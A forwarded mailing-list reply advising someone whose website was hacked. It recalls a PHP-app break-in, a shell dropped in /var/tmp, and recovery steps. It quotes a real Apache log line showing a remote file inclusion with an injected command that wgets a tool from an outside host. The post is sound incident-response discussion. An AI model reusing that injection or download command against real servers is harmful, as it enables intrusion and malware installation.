My website was hacked! (fwd)

[blu_discuss at seremeth.com (Steve Seremeth)]

David Kramer wrote:

>Anything else I should try?
>
>Should I panic more than I am?  Right now I feel strongly this was a 
>benign "stupid Apache tricks" thing, and I need to find the hole and close 
>it, but no need to nuke the server and start over.
>
>  
>
To add to my off-list comments...

I'm a little hazy on the details as this was a while ago, but here's 
what we found after the hacker had exploited a _known_ gaping hole in a 
php app one of our users was running:
* They had dropped a false shell into /var/tmp that ran under the apache 
user -- I think it listened on some funny port - and we discovered it 
when we went to bounce apache and got some weird message
* They tried to compile an irc bot (go figure)
* Apache logs had the evidence:
Several instances of this:
./log/access_log:203.130.222.150 - - [12/Jan/2004:19:29:10 -0800] "GET 
/pm_inc.php?pm_path=http://www.delhill.net/_borders/&cahyo=cd%20/var/tmp%20;%20wget%20exploiter.info/tools/mx 
HTTP/1.1" 200 188 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; 
DigExt)"

Nasty.

I ran chkrootkit and it didn't find anything.  I also did checksums 
against a lot of local binaries compared to known good ones to make sure 
they were the originals.
 
I bet you are right that it's an apache-only thing, but I would be 
_really_ sure.  I would also leave apache (and perhaps other daemons as 
well) down until you are sure you found the problem.  Our offender came 
back once or twice more unsuccessfully.